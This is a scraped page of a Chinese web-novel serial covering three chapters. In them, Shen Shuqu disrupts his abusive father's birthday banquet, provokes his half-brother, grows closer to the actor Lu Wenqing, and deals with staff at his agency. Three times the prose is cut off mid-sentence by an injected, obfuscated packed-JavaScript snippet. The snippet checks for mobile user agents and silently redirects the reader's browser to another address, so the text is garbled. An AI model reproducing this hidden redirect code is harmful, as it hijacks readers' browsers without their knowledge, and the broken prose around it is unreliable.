“什么呀,爱前妻还能那么快续娶?我听说啊……”女人朝沈正兴的方向看了两眼,压低声音说:“是他秘书,早就在一起了,保不齐是气死的。” “我还听说……当年是靠着温小姐……” 沈书渠充耳不闻四周的议论,脚步沉稳地走向沈正兴,很自然地端出孝敬与诚恳:“父亲,我来晚了,祝您松鹤长青岁岁今朝。” 沈正兴完全没想到他能来,脸上闪过一丝惊愕以及难以分辨的厌恶。 不过他到底久经世故,只一瞬就恢复了和蔼儒雅,侧头吩咐秘书:“去,妥善找个地方放起来。” 沈书渠抬手碰了下花瓣,礼貌地秘书交代:“里面没有违禁品,可以插在花瓶里,要放点水,否则花瓣会很快枯萎,花店的小姐告诉我的。” 秘书看他笑意温柔,措辞却很怪异,总觉得有点发毛。 余欣干笑两声打圆场:“这话怎么说呢,你带来的花你爸爸还能不放心吗,是想带回家去的,别多心。” 沈书渠又递出一个盒子,“阿姨,辛苦你这么多年照顾父亲,也祝您永远年轻。” 余欣接过礼物,以退为进道:“你难得来参加你爸爸的生日宴,不如喝杯酒再走?” “好啊,谢谢阿姨。” 余欣望着沈书渠的背影,攥紧了盒子低声问沈正兴:“他什么意思?” 四年前,沈书渠从国外回来,以放弃完整的沈氏继承权为代价换了锦盛那个小作坊。 余欣心里直打鼓,怀疑沈书渠突然出现是为了争夺继承权。 沈正兴担心的却不是这个,公司在他手上,他说不给,沈书渠就拿不到一毛钱。 他看向不远处一门心思往花瓶里倒水的秘书,觉得他被灌迷汤了。 秘书摆好花瓶,抬起头正好看到沈正兴脸色霜寒,立马回过神。 宴会厅左侧是个降香黄檀雕花隔断,后面则是一条深红色厚丝绒窗帘,用来挡住落地玻璃门外的走廊。 沈书渠撩开帘子靠在柱子边,没管那个悄声过来监视他的秘书。 他对这些控制习以为常,从口袋中摸了根烟点上,抽第一口时嗓子发痒咳了两声。 宴会厅内欢声笑语,走廊上冷风锐利。 沈正兴声音爽朗一派德高望重,一点儿看不出曾是低贱的私生子。 沈书渠微微偏头,看向自以为藏得很好的秘书:“你知道他在哪儿出生吗?” 秘书怔了一下,略有些尴尬地和他问好:“沈大少。” 沈书渠没看他,仿佛刚才并不是跟他说话。 秘书脊背发凉,见鬼似的四下看了看,不由得在心里猜测那个“他”指的是谁。 沈书渠咬着烟,像是自言自语:“在一个鱼龙混杂的筒子楼里,就是那种老鼠有你巴掌那么大,会半夜和蟑螂一起爬到床上啃胳膊的地方。” 秘书猛地打了个寒噤,干干笑了下:“大少爷您真会开玩笑。” 沈书渠没开玩笑。 沈正兴母亲曾是个舞蹈演员,在一次宴会上认识了他的父亲沈忠明。 她少不更事,在包包首饰各种奢侈品的攻击之下很快就沦陷,哪怕他是有妇之夫也心甘情愿吃这些糖衣炮弹,但她没想到的是沈忠明只是个倚仗妻子的草包。 他既没钱也没权,甚至在妻子发现他出轨的时候果断撇清关系,连个分手费都没给。 沈忠明和原配无子,她甚至想用孩子挽回对方,但她低估了原配的手段和沈忠明的冷漠,那些昂贵首饰和转账都以夫妻共同财产被追回。 她怀了孕,从舞团离职住进城中村。 五年后她猝然离世,只给这个儿子留下了一个私生子的身份和无数的歧视,直到遇到温若桥。 温若桥从小锦衣玉食,母亲意外亡故之后,父亲把对亡妻的爱全部投注在这唯一的女儿身上。 她天真善良,完全不在意沈正兴的私生子身份,给了他全部的温暖和平等。 两人身份悬殊,很快就遭到了父亲的强烈反对。 她被迫出国之前瞒着父亲变卖所有首饰,并把所有存款都交给他,希望他有一天能成功,改变自己的人生和其他人的想法。 沈正兴很聪明也很有手段,短短三年就功成名就。 穷小子逆袭翻身,痴心不改求娶初恋,是平洲迄今为止的佳话。 沈正兴新贵崛起备受逢迎,过往所有的歧视羞辱一夜之间全都变成阿谀,当初的谩骂羞辱也瞬间长出鲜花与掌声。 他仿佛一只跃过龙门的鱼,刹那间洗去所有污垢,仿佛出生就是高贵的龙。 妻子的存在反而成为提醒他不堪过往的标本。 商场上年轻有为的沈正兴在家里是一头撕掉文明伪装的野兽,变态、暴力,喜怒无常。 沈书渠那时候还小,不知道他什么时候会不高兴,唯一的办法就是躲起来。 但温若桥不一样,她是他发泄的出口,哪怕只是多呼吸一口气也一样会无端招来他的毒打与辱骂。 他痛恨温若桥却又不允许离婚,家里无死角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094440|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装满监控,用凌虐妻子的方式来发泄自己对私生子出身的不甘,以及迟来的对过往不公的反抗。 沈书渠仰起头,面无表情望着漆黑浓稠的夜空,很轻地勾起唇角。 沈正兴的强颜欢笑与装腔作势让他有一种自虐般的爽快。 他越是不喜欢回忆自己耻辱的过去,他偏要在所有人面前提醒他,他是个低贱龌龊的垃圾。 有时候他甚至想,也许自己和沈正兴是一样的。 他骨子里流着他肮脏的血,所以一样的病态一样是包裹着文明外衣的野兽,一样的低贱阴暗。 他明知道不该却还是趁人之危提出结婚,但人心永不满足,拿到结婚证又想偶尔见见他,不能见只好在他身边安插人,安插了人又想看看照片。 四个月前,陆闻轻参加金花奖颁奖礼。 在场大咖云集,他坐在一众老演员之中,一身黑色西装笔挺合衬,双手交叉放在交叠的膝盖上,深邃骨相扛得住高清镜头。 陆闻轻其实只是看向镜头与湉湉微弯唇角,并不知照片最终要落到谁手上,也不知道他曾经看着这张照片怎样陷入高/潮,发泄蚀骨的瘾症。 “这也太帅了,比赛车场猛多了,好他妈刺激。” “我也看了,那个过弯简直是神迹,车也好帅,我要是能开一次就好了。” “我听说那个人特别年轻,不知道他下次去是什么时候,我一定要看一次现场。” 沈书渠思绪终止,听见由远及近的声音,面无表情将烟头按灭了丢进垃圾桶,转身回去的一瞬间正好对上两人。 四目相对,沈安堵住他的去路:“喂,你怎么在这里?” 沈书渠看着两个异母弟弟有些好笑,这两人完美遗传了沈正兴的相貌却没有遗传到气质,纯手工的昂贵面料也穿得像地摊货。 “你笑什么?” 沈书渠听见沈安手机里轰鸣的引擎声,微勾唇角给沈正兴添了把火:“没笑什么,只是想告诉你那辆车2000w而已,如果真喜欢也未必买不了。” “你偷听我们说话?” 沈书渠语气淡淡:“我没有兴趣偷听你们说话,你们的话也没有任何需要偷听的价值,如果你们两个能凑齐一个完整的脑子就知道我先来这里,是你们非要往我耳朵里塞垃圾,明白吗?” 沈安被嘲讽几句,一时之间竟然不知道怎么反驳。 几年不见,沈书渠比刚回国的时候变了很多,身上有种难以亲近的锋利。 “装什么精英啊,2000w而已?说得轻巧,你能买得起吗?” 远处在放烟花,沈书渠眸光聚焦一瞬,“2000w很多么?几朵烟花钱罢了。” 沈书渠说这话的时候有种轻描淡写的感觉,仿佛真的可以放上上千万的烟花。 沈城冷笑一声:“哥你跟他说什么啊,他见过迈凯伦塞纳吗?知道什么叫赛车吗?就是把车放在他面前都不知道从哪儿开门吧?” 沈书渠:“不知道,不如你告诉我?” 沈安揣回手机,嘲了声:“陆闻轻不是很火吗?没给你赚到钱啊?当时你想尽办法抢锦盛有什么用,你能掌控得了他吗?” 沈书渠眸色微变,但很快掩地一干二净,看着两个继弟,语气堪称和蔼:“沈正兴费尽心思教育你们,打算将来让你们哪一个继承他的沈氏。” 沈安:“你什么意思?” 沈书渠走近一步,像看一条狗一样注视着他,轻声说:“我说的很清楚了,蠢货。” “你他妈敢骂我!你个杂种,不过是个连继承权都没有的丧家犬,真以为自己还是沈家的大少爷。” 沈书渠扬起唇角,他就在等这一刻,沈安挥起拳头的那一刻他背手向后,用力一扯。 绒布窗帘哗啦一声敞开,漆黑走廊亮如白昼。 沈安看着他的笑头皮瞬间发麻,等再发觉发生了什么的时候已经来不及了,整个宴会厅瞬间静得落针可闻,宾客们齐刷刷看向三人。 沈正兴陡然变色,厉声喝道:“沈安!” 沈书渠偏着头,仿佛狠狠挨了一拳。 沈安愣愣看着自己的手,藏了满肚子的冤枉试图解释:“爸,我不是……是、是大哥他……” 沈书渠站直身子,微笑着用只有三个人能听见的声音说:“我告诉你了,蠢货。”说完彬彬有礼地朝着宾客略一欠身:“抱歉,是我不好。” 8. 清渠决决(八) 一个西装革履优雅端庄,一个满头枯黄卷发,项链耳钉鸡零狗碎,明眼人一看也知道是谁对谁错。 沈安拳头紧握瞠目欲裂,相反挨了一拳的人隐忍求全,连句委屈也不肯说还率先承担责任。 这简直高下立判。 “哎到底是大公子,体面又顾全大局。” “是啊,这态度真是没的说,这才是得体的豪门公子,这小的也太无法无天了,就算不是一个妈生的也不能这么骂呀。” “可见大公子平时在家里也未必有多好过,没有生母庇佑就是遭罪。” 众人议论纷纷,沈正兴的脸色已经难看得不能再难看了。 余欣也完全没想到儿子能这么冲动,僵了一会才记起圆场:“孩子们闹着玩呢,大家别见怪。” 沈书渠客气地垂了垂眼,“阿姨说的是。” 余欣给沈安沈城使了个眼色:“你们还不给大哥道歉,年纪轻轻真是胡闹。” 余欣字里行间将过错归咎于孩子小,虽然听起来很牵强但大家也不至于去较真别人的家务事。 沈城胆子小一些,闷头就道了歉。 沈书渠略微歪头看了沈安一眼,好整以暇等他跟自己道歉。 沈安看他这副样子火气顿时窜了上来,梗着脖子誓死不认:“我说了我没打他!我没错凭什么跟他道歉,妈你不知道他刚才……” “够了。”沈正兴沉声喝道,侧眸看了一眼余欣:“你带他们俩下去洗把脸,顺便试试书渠送给你的项链,别浪费孩子一番心意。” 余欣走向两个儿子,目光撞上沈书渠的时候缓缓挤出一丝笑容:“书渠,你不会跟弟弟计较吧?他们年纪小,没有恶意的。” “不会的,阿姨。” 沈安吃了个哑巴亏,离开前冷冷留下一句:“沈书渠,我不会放过你的,你等着,我一定让你后悔今天的所作所为,我会让你跪下来,像一条狗一样求我。” 沈书渠背对着宾客也不再装,淡淡道:“是么。” 三人走后,沈书渠微微偏头看向一旁呆若木鸡的秘书,眼尾弯出一个很微妙的弧度,如春风拂冻冰雪消融。 刹那之间,秘书心突然麻了下。 乃至于后来沈正兴问起他当时发生了什么,沈安到底打没打沈书渠的时候,他到嘴边的话犹豫了一瞬,很诚恳地交代:“是二少没看到大少在屏风后,以为他在偷听,至于打架……我站的远没有看得特别清楚,只听见大少呼吸不太对。” 好好一场寿宴被搅得面目全非,二楼的陈亦洲兴味盎然地看了一出戏,垂眸将视频发了出去。 陆闻轻收到消息的时候刚出揽翠园,司机从壁球馆就跟过去,一直待命到他出来立即下车为他开门。 “您今晚还是住沈总那里?” 陆闻轻打开视频,指尖一顿停在屏幕上,沈书渠半个身子掩在黑暗之中,光影几乎将他平白切成两半,显出一种很直白揪心的脆弱。 他被人重重打了一拳,仔细看的话还能看到身子轻轻晃了一下,接着懵了五六秒没反应过来。 “去碧林山庄。” 沈书渠三指在右颊上蹭了两下,他皮肤薄,微微用力就会红一片,从肉眼上很难察觉出是否挨打。 沈正兴顺着余欣的话把事情定性为孩子顽劣,当场斥责了继室与次子还将沈书渠介绍给了在场宾客,又将挚爱亡妻的戏码演得情深义重。 “他呀,不爱应酬,来一次很不容易。” “沈大少在哪里高就啊?” “原来锦盛那位不爱见人的沈总就是沈大少呀,真是年轻有为,别说平洲了,就是放眼全世界有谁能火过你公司的陆闻轻去,他一个代言就上亿了吧?沈总眼光真好,一举挑中陆影帝。” 沈书渠和悦微笑:“嗯,他很好。” 在场众人都对沈书渠很好奇,先后来和他说话。 有个太太看他手上空无一物,问起他的感情生活:“大公子有没有心仪对象啦?我这边认识不少名门小姐,都很优雅漂亮,保证很配你。” 沈书渠蹲了下,随即拒绝:“多谢您的好意,我暂时不考虑。” “哎,好吧。” 沈书渠喝了酒没办法开车,抽空给陈昱打电话让他来接。 碧林山庄坐落于山坳之中,是个凿山体而建的中式庭院,从外面看不出什么,进了大门才见别有洞天。 傍晚开始下雪,沈书渠抬起头时雪花落在眼睛里传凉意。 他眨了下眼摸出一根烟,就着雪景点燃。 车灯闪了两下,他下意识避了下,谁知对方简直像是刻意针对,又冲他闪了两下。 找茬。 找死。 沈书渠咬着烟,招手让保安过来,面无表情问:“门口不是不让停车么?” 保安小心翼翼点了点头:“是,不过他是……” “让他滚。”沈书渠打断他的话,冷道:“不滚就找人把车拖了。” 保安胆刚才多少听说这人是沈家的大公子,是不能得罪的,可车里坐着的是陆影帝他也不敢太造次。 神仙打架,小鬼遭殃,他只能认命小跑到车边去敲敲玻璃,小声说:“您好,沈、沈少说方便的话……” 司机回头去看陆闻轻,见他微抬下颌,会过意降下一半车窗。 沈书渠烟燃了一半,看着那辆车的方向,一只指骨修长的手从车窗中伸出来,掌心一转,指尖微勾,点了两下。 烟掉在地上,沈书渠太熟悉那只手了,闭着眼睛他也能认出来的程度。 车门推开。 夜色浓稠,山林白雪寂静,沈书渠听见自己心跳的声音。 路上积雪浅薄,踩上去有沙沙的细微声响,陆闻轻在他面前停下,微微垂眸:“沈总,让我滚?” 沈书渠看了一眼保安,保安无辜地眨眨眼,明明是您自己说的。 “我滚哪儿去?”陆闻轻又问。 沈书渠沉默片刻,觉得还是换个话题:“你怎么来了?” “上车说。”陆闻轻见他不动,向后退了半步用左手压着车顶:“要这样才上?” “……”沈书渠俯身进去。 车内阅读灯昏黄,左颊上的指痕看起来并没有多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094441|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显。 “挨打了?” 沈书渠庆幸他没看到自己设计人的阴损场面,捻了捻微微泛潮的掌心,说:“没有,不小心碰的。” 下颌一凉,陆闻轻捏着他的下颌往右一转,“不小心能碰出指痕,手指头碰的?” ……确实是指头碰的,但是自己碰的。 “挨打没什么不能说的,动手的人才要隐瞒,长这么大了,这点儿道理也不明白?” 陆闻轻从星海岛出来本打算回趟家,但收到那条视频,不知怎么就动了来一趟的念头。 沈书渠表面看着冷淡锋利,做生意也果决强悍。 这几年他虽然没见过本人,但多少也听湉湉讲过他行事作风的霸道和不苟言笑,没想到也有脆弱的一面。 有那么一瞬间陆闻轻觉得他像一只瓷器,高冷价贵,但其实很易碎。 他看完视频顺口打听了句,今天是沈正兴的寿宴,动手的人是他继母所生的弟弟。 陆闻轻心念微动,想起尤微说他脾气不好能把人骂哭,也不尽然,至少要加一个死要面子。 嘴这么硬。 他拇指一转在红痕处蹭了一下,发觉他喉结上那枚红痣也一跳。 “还疼么?” 两人距离极近,沈书渠几乎能从他眼里看到自己的倒影,刚才就在鼓动的心跳几乎要从嘴里跳出去。 酒后的思维很迟缓,沈书渠有一点犯晕,但仍能保持理智。 他没挨打,可说自己弄的更不好解释,只好认下来:“不疼。” “一点也不疼?” “嗯,不疼。” 陆闻轻已经有了喜欢的人,离婚是迟早的事,他没想过永远留住他只希望在仅有的时间里看着他,这就够了。 他不敢想占有陆闻轻,一点也不敢。 他没有更多能失去的东西,不敢再冒险一次了。 沈书渠拿过他的手,指尖碰到手腕的时候几不可察地多停留了一秒钟,低声说:“时间不早了,你玩够的话就早点回去,路上小心。” 他语气里的疏离太过明显,截然不是面对林锦时的亲昵。 陆闻轻想起那句“不想回家”,慢条斯理复述了一遍:“不想回家?” “我还有事要办,让司机先送你回去,如果没找到合适的地方可以去我那里,我今天不会回去。” “我问的是。”陆闻轻缓慢地重复了一遍,带着漫不经心:“是因为我住在你那儿?你怕人拍到所以不想回家?” 他想回去,想和他待在同一片空间想跟他在家里的每一寸角落里接吻□□,想要被他禁锢掌控。 沈书渠镜片后的睫毛微动,一个想字几乎就要说出来。 他硬生生咬住舌尖,可又不想说出“不想”两个字。 他可以跟林锦说是因为担心他住在家里被拍而不想回去,但不能跟陆闻轻说。 “这个问题很难回答吗?”陆闻轻往后轻靠,眼尾微垂给了一个时限:“你思考太久了,再有三秒钟我就以为你是默认。” 沈书渠抬起头,很轻地动了动喉咙:“想。” 9.清渠决决(九) 宴会结束。 沈正兴彻底撕掉了那层衣冠楚楚的外皮,冷冷扫了一眼余欣和两个儿子,吓得余欣妆容精致的脸上毫无血色。 她很怕沈正兴,这个家里没人不怕他。 沈正兴这个人喜怒不形于色又阴晴不定,控制欲极其强烈还有严重的强迫症,有时候她耳环和衣服不配套都会被勒令换掉。 他这个人极度自律,每天早上雷打不动五点钟起床,锻炼一个小时然后喝一杯完全不加糖的黑咖啡,接着会亲手签收每日送来的新鲜切花,看余欣插一会花再去上班。 “你们先走,林正你留下。” 秘书胆战心惊地报告完,小心翼翼打量着他的神色,冷汗不自觉从额角滴下来。 司机已在外头候着,余欣上了车就冲沈安斥道:“你怎么这么冲动,就算再不喜欢你也不能当着这么多人的面儿打他啊,以前还没打够?” 沈安还烦着:“我说过多少次,我真没打到他,我刚准备动手他就把窗帘拉开了,我怀疑他根本就是故意设计我。” 余欣将信将疑盯着他,过了会又说:“打没打都不要紧,你抬手了宾客也看见了,你爸的一顿罚你是免不了了。” 沈安怕沈正兴那个毫不留情的鞭子,一把抓住母亲的手:“妈你要救我,我不想挨打,你替我求求情。” 余欣心有余而力不足,有时候她也不知道沈正兴到底爱不爱她。 他无限额的黑卡随便她刷,拍卖会上的首饰随意挑选,但买到他不喜欢的东西就必须丢掉,穿搭言行都得按照他的喜好来。 有时候她觉得沈正兴是在按照自己喜好养一只宠物。 余欣很轻地摇了摇头:“我也没办法。” 沈安不以为然:“爸那么爱你还能不听你的吗?他当年都听你的把沈书渠流放到国外去了,就不应该让他回来。” 余欣皱起眉来,沉声警告:“你少提这件事。” - 陆闻轻吩咐开车,但没说目的地。 司机很乖觉地从后视镜里看了一眼,然后开回了昨晚的小区。 车厢很宽敞,但沈书渠还是觉得有些不太自在,他很久没跟陆闻轻这么近距离的坐在一起,只隔着半米不到,手一伸就能碰到的亲密。 这种距离的下场是他开始头疼,手掌沁汗,皮肤上泛起很深层的痒意。 喉咙发干,沈书渠侧过头徒劳地咽了两下,双手交叠放在膝盖上像很端庄,但其实在这个密不透风的车里焦灼得像一条油锅里的鱼。 “不舒服?” 沈书渠额头一凉,身上的焦躁好像一瞬间散了些许,他几乎要发出一声很低的喘息来,还好忍住了。 “没事。”沈书渠说完,又补了一句:“可能是风吹了,有点头疼。” “沈书渠。”陆闻轻放在膝盖上的那只手轻敲了敲,慢条斯理地说:“捂一捂会舒服点。” “不要紧,回去休息一下就行了。”沈书渠微微抿了下唇,侧头看向窗外,猝不及防看到他抬起手,从身后放在了他的太阳穴两边。 他瞬间僵住了。 “别动。” 陆闻轻掌心很热很干燥,贴着冰凉的穴位传入温度,一点点驱散寒气与刺痛。 沈书渠抑制住发颤的手,竭力克制着心跳频率,很缓慢地看着车窗里两人的倒影,有一种很模糊的像是被人从后面拥抱的错位感。 可惜,车里没有监控。 “你在惋惜什么?” 沈书渠一怔,倏地抬起头在车窗对上了陆闻轻从后而来的视线,心顿时一跳:“没什么,我好多了,谢谢。” “哦,你怎么谢我。”陆闻轻收回手,好整以暇往后靠了一下。 沈书渠完全没想到他会挟恩图报并且立刻就要报,但他是不会拒绝陆闻轻的,于是说:“你说。” 陆闻轻好像是在等他这句话,立刻就说:“我现在想不到,等我想到了你再替我完成,无论是什么都得办到,不能反悔不能抗议。” 这个界限太广了,简直是个丧权辱国的不平等条约。 沈书渠说:“好。” 到了家。 沈书渠输入密码开门,陆闻轻在他身后看了两秒钟,说:“昨天我就想问,你家的密码为什么是我生日。” “……”忘记这一茬儿了。 昨天他来得匆忙,沈书渠甚至没往他是怎么进门这件事想,现在被当事人质问,他只能硬着头皮咬死不认:“是么,我不知道是你生日,随便设的。” “是么。” 沈书渠轻吸了口气,在换不换密码之间反复考虑,最终还是打消了念头,因为现在改更显得此地无银三百两。 陆闻轻语气遗憾:“还以为是特地记住的,原来沈总不知道我生日是哪天,看来我还是不够红。” “……”沈书渠拿过拖鞋放在他脚边,决定不跟他讨论生日的问题,“你在星海岛吃晚饭了吗?” 陆闻轻换了鞋,低头看了他一眼。 沈书渠发觉视线,微微抬起头:“怎么了?” “如果是吃你下的面。”陆闻轻微敛眼眸,很淡定地捅了一刀:“那还是算了,你煮面真的很难吃。” 沈书渠不会做饭,对他来说能维持生理机能就已经是食材能拥有的最高礼遇,但眼前这人实在太挑食了:“你想吃什么,我让人送过来。” “不吃了。” 陆闻轻迈步上楼,手机忽然响了声。 陈亦洲嗓音含笑:“陆老师,在哪儿呢?” 陆闻轻语气不冷不热,“你给我发视频,是希望我去哪儿?” 陈亦洲装作听不懂,无辜道:“我偶然看了场戏,觉得演员有点眼熟发给你一起看看,怎么知道你想去哪儿?” “陈主任,人太聪明会死的很早。” “那我不一定先死,这个世界上的聪明人太多,我是笨的那一个。”陈亦洲想起沈书渠那一整套的操作,饶有兴味道:“没见你来拆寿宴,沈总把你哄好了?” 陆闻轻脱了衣服扔在椅子上,淡淡道:“你人在,眼睁睁看着人挨打还有闲心拍视频,陈主任,未免太冷漠了吧?” 陈亦洲:“……?” 陆闻轻冷笑一声,说:“你以为演电影呢,天凉了该让沈氏破产了。” “在绝对的权力面前,财富只是一盘散沙而已。”陈亦洲没多评价沈家,换了个话题说:“前几天调研会上见到你家陆叔了,让我问问你打算什么时候离婚,我也很好奇,有独家内幕吗?” “没有。” 陈亦洲给他发视频其实是本着一种看戏的心态,没指望他过去,这人有多冷漠他是清楚的,无关紧要的人死他跟前都不带多看一眼的。 他会去,证明沈书渠并不是没有一点儿分量。 “你喜欢上他了?”陈亦洲沉吟片刻,想起那张很有冲击的美貌,虽然冷淡疏离,并不是陆闻轻的口味,但…… “没有。” 陈亦洲略有认同,“没有也挺好的。” 沈书渠看上去就是一副不染情欲的样子,对那种事儿都未必热衷,遑论能被人驯服掌控。 - 早上八点半。 细微的“叮”一声,自动门向两边开启。 “沈总早。” “沈总。” 沈书渠握着一把长柄黑伞,手指修长莹白如玉,听见问好淡淡回应:“早。” 他将伞交给身旁的人,随手掸了掸肩上还未渗透进大衣的雨珠,顺手接过对方递来的手帕擦了擦手。 “沈、沈总。” 沈书渠面无表情看他一眼:“好了?” 宋一序嗫嚅着动了动嘴唇,小心翼翼道:“嗯,已经全部好了,谢、谢谢沈总关心。” 他被下的药虽重,但经过抢救其实也早就好了,迟迟不敢来公司是怕沈书渠把解约合同甩他脸上,让他滚。 那天晚上他意识混沌的根本不知道发生了什么,隐约记得很热,迷迷糊糊在自己脱衣服。 一盆冷水浇下来,他醒了一半。 沈书渠将他从床上硬生生拖下来,丢了件衣服在他脸上,无机质的瞳孔冷冷看着他:“爬起来。” 他差点吓尿,到现在都记得那个眼神。 “我没关心你。”沈书渠进了电梯,看着缓慢上行的电梯,说:“如果你让人睡了并且拍了裸照我会立刻派人跟你谈解约,我手上不需要一个出卖身体换资源的艺人。” 宋一序有点急,他知道沈书渠说得出就做得到,努力解释:“我是、是被下药了。” “蠢更可悲。” 宋一序几乎要哭了,“我真的知道错了,您原谅我一次,我下次不敢了。” 沈书渠冰冷的视线像是一道寒光凛冽的刀,贴着皮肤一寸寸划下去带来强烈的恐惧。 电梯门打开,沈书渠走出去,又停下来回头看他:“私下见投资商,瞒着公司接戏,你打算让我原谅你哪一条?” “我以后不敢了。”宋一序胆战心惊地跟他在电梯门口对峙,憋了好半晌最终还是没忍住,丧气垂头:“那您是打算把我……” “下不为例。” 宋一序喜极呆愣,看着沈书渠离开的背影,抬起手在右脸上拍了一巴掌,疼得抽了口气:“嘶……” “哟,打蚊子呢?” 宋一序立即转身,发现是叶缘便笑了一下:“叶姐。” “干嘛呢?一大早就站这儿罚站,作业忘记写啦?” 宋一序没管她的打趣,一把拉住胳膊朝沈书渠办公室努努嘴。 叶缘一看就知道什么事儿,边开电脑边说:“怪他骂你难听?” “不是不是,沈总骂我是应该的,要不是沈总我就……”宋一序其实是意外沈书渠为什么会原谅他。 “想问他为什么原谅你?” 宋一序用力点头,按照沈书渠眼里不揉沙子的性子,早就该让他滚蛋了,怎么可能下不为例。 “因为你是当时唯一留下来的,他接手公司的时候能走的人全走了,就你傻乎乎的抱着合约跟他说留下来,没有片酬也没关系,不能都抛弃他。” 宋一序憋了好半天的眼睛一下就红了,磕磕绊绊说:“我、我不记得了。” “你不记得他记得,他比你想象的要更照顾你。”叶缘从桌上抽出一份合约,说:“你一直觉得他不让你演男一号扛大投资是觉得你还没到时候,要让你韬光养晦磨炼演技,一举能红,那样才能站稳脚跟,现在给你个适合你的好本子,吸一波粉丝,可遇到不适合你的立刻就凉了。” 宋一序彻底呆住了。 叶缘拍拍他的肩膀,谆谆善诱道:“以后乖点儿,他不会亏待你的。” 宋一序用力点头,脑子里突然冒出一句:“那陆哥也不听话啊,我怎么从来没听过沈总骂……” 叶缘心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096435|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你这是要挑拨他的家庭和谐,微笑指指办公室:“你到他面前问?” 宋一序:“……” 叶缘拿着陆闻轻下一季的代言邀约去请沈书渠过目,提起宋一序有些无奈:“希望他这次能长教训,你这么快消气也证明他其实没坏心眼儿。” 沈书渠头都没抬:“憨吃傻睡,不长脑子。” 叶缘沉默两秒,报告简小姐再次来电邀请他去参加DI的百年纪念慈善晚宴的事,因为他一向是不去的,也就直接给推了。 沈书渠翻页的手微顿,抬起头:“推了?” “是、是啊,您一向都不去这些活动的,我就……”叶缘突然有种不太好的预感,“您要去啊?那我再跟简小姐说一声,她说始终会给您留位置的,改主意了随时通知她就好。” 昨天晚上陆闻轻随口说他不记得生日,他其实送过很多礼物,只不过他都不知道那是自己送的。 沈书渠放下笔,看了眼桌角的两张请柬和那个红色的丝绒盒子,说:“嗯,你陪我去。” 叶缘不自觉往窗外看看,脑子里莫名冒出颜静那句“夭寿了,太阳从西边出来了”。 她没去过这种晚宴,矜持道:“沈总,我没去过晚宴,要注意点什么吗?我会不会做不好?要不然不去了吧?” 沈书渠看她一眼,低下头淡淡道:“不想去?那让颜静陪我去,上次她说想……” “想!想想想!”叶缘火速截过他的话,谄媚地盖章定案:“我立马给简小姐回电,您稍等哈。” 慈善晚宴其实大同小异,但DI作为顶级奢侈品牌又是百年纪念,这次晚宴办得尤其隆重,请了当红明星实力派歌手,还安排了一个红毯。 沈书渠不怎么爱见人,便谢绝了红毯环节。 简芬妮在那头惋惜,沈书渠这张脸到镜头前一定会秒掉今晚所有的艺人,不过人肯来她也不敢强求太多,高高兴兴同意了。 长桌上摆了名牌,围绕在鲜花中间。 点心和酒分类摆放,光影下,一杯一盏都精致而奢靡。 叶缘跟了一个深居简出不爱应酬的老板,头一次见这么多优雅漂亮身材妖娆的明星差点儿被星光闪瞎眼。 她穿着抹胸礼服有些不自在,抓着手包低声说:“沈总,我一会能吃东西吗?他们明星在晚宴上是不是都不干饭的?” 沈书渠左侧摆着的是陆闻轻的名牌,但他没来所以还空着,他瞥了一眼,说:“你吃我也不会炒了你。” 叶缘打量了一下星光满室的宴会厅,长枪短炮跟等着轰人似的,小声说:“万一被人拍了,说我饿死鬼怎么办啊?” 沈书渠面无表情地理了理袖扣,说:“谁说你,让他给你烧纸。” 他一说完,猛地听见一声笑。 沈书渠偏过头看过去,对方约莫二十七八岁,穿着一身定制的手工西装,搭了一只茶花胸针,整个人看起来有一种斯文柔和的气质。 他举杯问好,沈书渠微微颔首,往他的名牌上看了一眼:邢彻。 一张貌美但生疏的面孔在晚宴上无疑是招人的,稍一打听就会知道是谁,不由得也更震惊。 当年锦盛还是一个很小的连公司都称不上的草台班子,只有一个经纪人和两个糊得不能更糊的小艺人。 公司里每天弥漫着倒闭的丧气,看门大爷都萎靡得像脱水太阳花,据说有一个艺人受不了没活儿干,怒退圈卖牛肉拉面去了。 当时的锦盛,资源没有、资金没有,放眼望去全是老弱病残。 直到现在也没人知道陆闻轻为什么往那儿签,也没人知道沈书渠是怎么拿下当时顶尖配置人人疯抢的《弄权》男一号资源。 这个电影上映即爆,陆闻轻双料影帝在手,锦盛也横空出世。 至此,齐头并进,长盛不衰。 邢彻含着笑说:“沈总,久仰大名。” 沈书渠虽然不爱应酬,但圈内一些事还是知道的,礼貌恭喜了他获奖,也端起酒杯和他碰了一下。 “谢谢。”邢彻抿了口酒,侧过身单手搭在椅子上:“之前就听说锦盛的沈总年轻有为,不知道有没有机会能跟您合作一次。” 沈书渠对他了解不多,客气道:“以后有机会的。” 